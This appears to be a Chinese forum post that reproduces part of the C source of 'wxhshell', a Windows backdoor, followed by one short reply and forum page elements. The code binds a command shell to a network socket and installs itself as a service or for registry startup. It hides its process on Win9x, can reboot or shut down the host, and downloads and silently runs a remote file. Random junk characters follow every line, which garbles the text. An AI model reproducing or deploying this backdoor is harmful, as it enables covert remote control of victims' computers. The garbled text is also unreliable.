  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d(!N$B\[5T  
  } #vSI_rt9I  
  else { N[-)c,O  
m%&B4E#3T  
    switch(cmd[0]) { bhmjH(.t  
  .kIf1-(<U  
  // 帮助 xh0A2bw'OP  
  case '?': { s__g*%@B b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5IK@<#wE  
    break; 2. _cEY34  
  } 9m6j?CFG}  
  // 安装 @-}]~|<  
  case 'i': { brWt  
    if(Install()) =S,<yQJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9o`3g@6z  
    else 7 SZR#L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : +Kesa:E  
    break; 0h#M)Ft  
    } m!_ghD{5h  
  // 卸载 H JiP:{  
  case 'r': { ]@YQi<d2^  
    if(Uninstall()) YC'~8\x3z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B}X#oA  
    else e=jO_[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Cf(y'w^  
    break; bSLj-vp  
    } AHGcWS\,X  
  // 显示 wxhshell 所在路径 =&b[V"  
  case 'p': { =HHg:"  
    char svExeFile[MAX_PATH]; _=5ZB_I  
    strcpy(svExeFile,"\n\r"); K dm5O@tq  
      strcat(svExeFile,ExeFile); (#]KjpIK  
        send(wsh,svExeFile,strlen(svExeFile),0); @{uc  
    break; #EUgb7  
    }  Dfia=1A  
  // 重启 G.8b\E~  
  case 'b': { qS al~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ks(U]G"V  
    if(Boot(REBOOT)) U5"OhI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yxbTcZ  
    else { ?W_U{=anl  
    closesocket(wsh); Vi WgX.  
    ExitThread(0); :8rCCop Uv  
    } OWsYE?  
    break; `@7tWX0  
    } 03@| dN  
  // 关机  t;Om9  
  case 'd': { MVZ>:G9:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kqw? X{  
    if(Boot(SHUTDOWN)) _+iz?|U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #1@~w}Dh  
    else { VKz<7K\/  
    closesocket(wsh); hm>*eJNp]  
    ExitThread(0); ~py0Vx,F  
    } BtChG] N|  
    break; VsEAo  
    } 0h4}RmS  
  // 获取shell gH3kX<e  
  case 's': { L0tKIpk  
    CmdShell(wsh); B_glyC  
    closesocket(wsh); oE1]vX  
    ExitThread(0); PDng!IQ^  
    break; C&kl*nO  
  } y>|XpImZ  
  // 退出 Q%Q?q)x  
  case 'x': { 3:lp"C51  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nX%'o`f  
    CloseIt(wsh); EG4bFmcs  
    break; ~e9INZe-j  
    } !U:s.^{  
  // 离开 C} _:K)5q  
  case 'q': { Y{RB\}f(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MXk. 2  
    closesocket(wsh); ZGhoV#T@  
    WSACleanup(); %+ a@|Z   
    exit(1); mX@* 2I  
    break; K-C-+RB  
        } [[h)4H{T  
  } 9X9zIh]JV  
  } QYXx7h r=$  
L]N2r MM  
  // 提示信息 92VX5?Cyg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `e>F<{ M6@  
} @n* D>g  
  } 6xh#;+e }  
_PUm Pom.  
  return; Gj`Y2X2r  
} N09+idg  
Mk/!,N<h#  
// shell模块句柄 h./vTNMc  
int CmdShell(SOCKET sock) ^jjJM|a  
{ E :=KH\2f  
STARTUPINFO si; )+4}Ix/q  
ZeroMemory(&si,sizeof(si)); E(kpK5h{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SoU'r]k1x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pl& `&N;  
PROCESS_INFORMATION ProcessInfo; yVQz<tX|  
char cmdline[]="cmd"; Y zW7;U S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "UGj4^1f  
  return 0; =^y{@[p`(  
} 3H#/u! W  
#r)1<}_e#  
// 自身启动模式 p]z54 ~  
int StartFromService(void) /3 Ix,7  
{ Ny,A#-?  
typedef struct MI'l4<>u  
{ m_02"'  
  DWORD ExitStatus; tO>OD#  
  DWORD PebBaseAddress; H9Q7({v  
  DWORD AffinityMask; }_(^/pnk  
  DWORD BasePriority; OMI!=Upz  
  ULONG UniqueProcessId; y{Y+2}Dv/  
  ULONG InheritedFromUniqueProcessId; [2 w <F[  
}   PROCESS_BASIC_INFORMATION; ]q[  
\*!%YTZ~  
PROCNTQSIP NtQueryInformationProcess; w+q;dc8  
agm5D/H]:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0!,gT H>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a05:iFoJ  
*R\/#Y|  
  HANDLE             hProcess; -b\ V(@5  
  PROCESS_BASIC_INFORMATION pbi; _q$LrAT  
6+nMH +[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >l< ~Z;  
  if(NULL == hInst ) return 0; ElR&scXi__  
+<WRB\W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NU&^7[!yl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KR+BuL+L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4B8Se  
Y:!/4GF  
  if (!NtQueryInformationProcess) return 0; xCp+<|1   
?~JxO/K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MRg\FR 2>1  
  if(!hProcess) return 0; |8qK%n f}  
u~- fK'/!|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QB3d7e)8>  
}d3N`TT  
  CloseHandle(hProcess); X]pWvQ Q]  
-8Jl4F ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *- IlF]  
if(hProcess==NULL) return 0; #"p1Qea$  
+.(}u ,:8  
HMODULE hMod; B?lBO V4v4  
char procName[255]; g3~~"`2  
unsigned long cbNeeded; Bw]L2=d  
9p\Hx#^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M Hnf\|DX  
Dj ]Hgg  
  CloseHandle(hProcess); mj~N]cxB  
y }&4HrT&  
if(strstr(procName,"services")) return 1; // 以服务启动 <% 7P  
}y-;>i#m=g  
  return 0; // 注册表启动 ^0x.'G?  
} j`|^s}8t  
Ld}(*-1i  
// 主模块 Fi?Q 4b  
int StartWxhshell(LPSTR lpCmdLine) NM1cyZ  
{ C*EhexK,}  
  SOCKET wsl; 2 ]DCF  
BOOL val=TRUE; 7Z`Mt9:Ht  
  int port=0; N[bR&# p  
  struct sockaddr_in door; %%+mWz a  
v(Bp1~PPZM  
  if(wscfg.ws_autoins) Install(); 6}i&6@Snq?  
wCU&Xb$F  
port=atoi(lpCmdLine);  [ }p  
_/jUs_W  
if(port<=0) port=wscfg.ws_port; 3Zaq#uA  
/nY).lSH  
  WSADATA data; e>,9]{N+$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o!s%h!%L  
$d2kHT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {8{t]LK<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8_<&f%/  
  door.sin_family = AF_INET; esh$*)1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u 5Eo  
  door.sin_port = htons(port); ^x_ >r6  
;zZ,3pl-E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ovQS ET18b  
closesocket(wsl); >w2Q 1!  
return 1; (zS2Ndp  
} ^.@yF;H  
O>SuZ>g+7  
  if(listen(wsl,2) == INVALID_SOCKET) { i?a,^UM5n[  
closesocket(wsl); (0OSGG9  
return 1; C7b 5%a!  
} 95$pG/o  
  Wxhshell(wsl); @zr8%8n  
  WSACleanup(); 5 Q6{(q|M  
MK-a $~<  
return 0; !@^y)v  
'0R/6Z|/Y  
} .K|P&  
BN\fv,  
// 以NT服务方式启动 i>tW|N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -SQJH}zCT+  
{ QmH/yy3.%  
DWORD   status = 0; d7W%zg\T  
  DWORD   specificError = 0xfffffff; FX|0R#4vm  
J0?$v6S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jw:Fj {D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ub`z7gL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /'&.aGW4%  
  serviceStatus.dwWin32ExitCode     = 0; *Nv y+V  
  serviceStatus.dwServiceSpecificExitCode = 0; k_*XJ<S!Y  
  serviceStatus.dwCheckPoint       = 0; CF3E]dt  
  serviceStatus.dwWaitHint       = 0; ~@[(N]=q  
lFiq<3Nk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ->&BcPLn  
  if (hServiceStatusHandle==0) return; LKR==;qn  
"xD}6(NL(r  
status = GetLastError(); F* 3G _V  
  if (status!=NO_ERROR) TnN^2:cU  
{ (j8GiJ]{L,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u;+%Qh  
    serviceStatus.dwCheckPoint       = 0; pG,<_N@P  
    serviceStatus.dwWaitHint       = 0; c&Gz> L  
    serviceStatus.dwWin32ExitCode     = status; kF(Ce{;z  
    serviceStatus.dwServiceSpecificExitCode = specificError; K,x$c %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }iPo8Ra  
    return; Po Yr:=S?  
  } QO5OnYh  
sTKab :  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ELN|;^-/|Q  
  serviceStatus.dwCheckPoint       = 0; ^H5w41  
  serviceStatus.dwWaitHint       = 0; V.K70)]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /{fZH,!L  
} F3r S6_  
9USrgY6_  
// 处理NT服务事件,比如:启动、停止 Rz.i/w g}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YH ETI~'j.  
{ W;fH&r)d@  
switch(fdwControl) Qy{NS.T  
{ ?*CRa$_I|  
case SERVICE_CONTROL_STOP: sTd}cP  
  serviceStatus.dwWin32ExitCode = 0; &q4ox71  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /Qr A8  
  serviceStatus.dwCheckPoint   = 0; CCuxC9i7  
  serviceStatus.dwWaitHint     = 0; Rz`@N`U  
  { v\fzO#vj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i'Y-V]->  
  } <8iYL`3  
  return; E=;BI">.  
case SERVICE_CONTROL_PAUSE: Xy[}Gp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z -pyFK\  
  break; ! (B_EM  
case SERVICE_CONTROL_CONTINUE: !aQIh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d>^~9X  
  break; 5+y@ ]5&g  
case SERVICE_CONTROL_INTERROGATE: *w=z~Jq^R"  
  break; /t$rX3A  
}; ,"@w>WL<9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (3AYy0J%  
} rQ=xcn[A  
 &|/vM.  
// 标准应用程序主函数 hA@zoIoe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ])N|[|$  
{ NV&;e[z  
U^B"|lc:[  
// 获取操作系统版本 K{|w 43>D  
OsIsNt=GetOsVer(); $TR=3[j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :L]-'\y  
/ pO{2[  
  // 从命令行安装 K1;z Mh  
  if(strpbrk(lpCmdLine,"iI")) Install(); J=@hk@Nq#  
1T!cc%ah  
  // 下载执行文件 '!pAnsXfO  
if(wscfg.ws_downexe) { vkd *ER^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M,&tA1CH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ; Zh9^0  
} buRhQ"  
n49;Z,[~  
if(!OsIsNt) { ~@xT]D!BQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 S2Zx &D/_  
HideProc(); !)NYW4"  
StartWxhshell(lpCmdLine); j -#E?&2  
} vZ:G8K)o(  
else w-J"zC  
  if(StartFromService()) : @s8?eg  
  // 以服务方式启动 +:}kZDl@ X  
  StartServiceCtrlDispatcher(DispatchTable); T:c7@^=  
else ex.+'m<g  
  // 普通方式启动 \$'R+k-57;  
  StartWxhshell(lpCmdLine); OSU{8.  
V:(y*tFA  
return 0; OO-_?8I}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五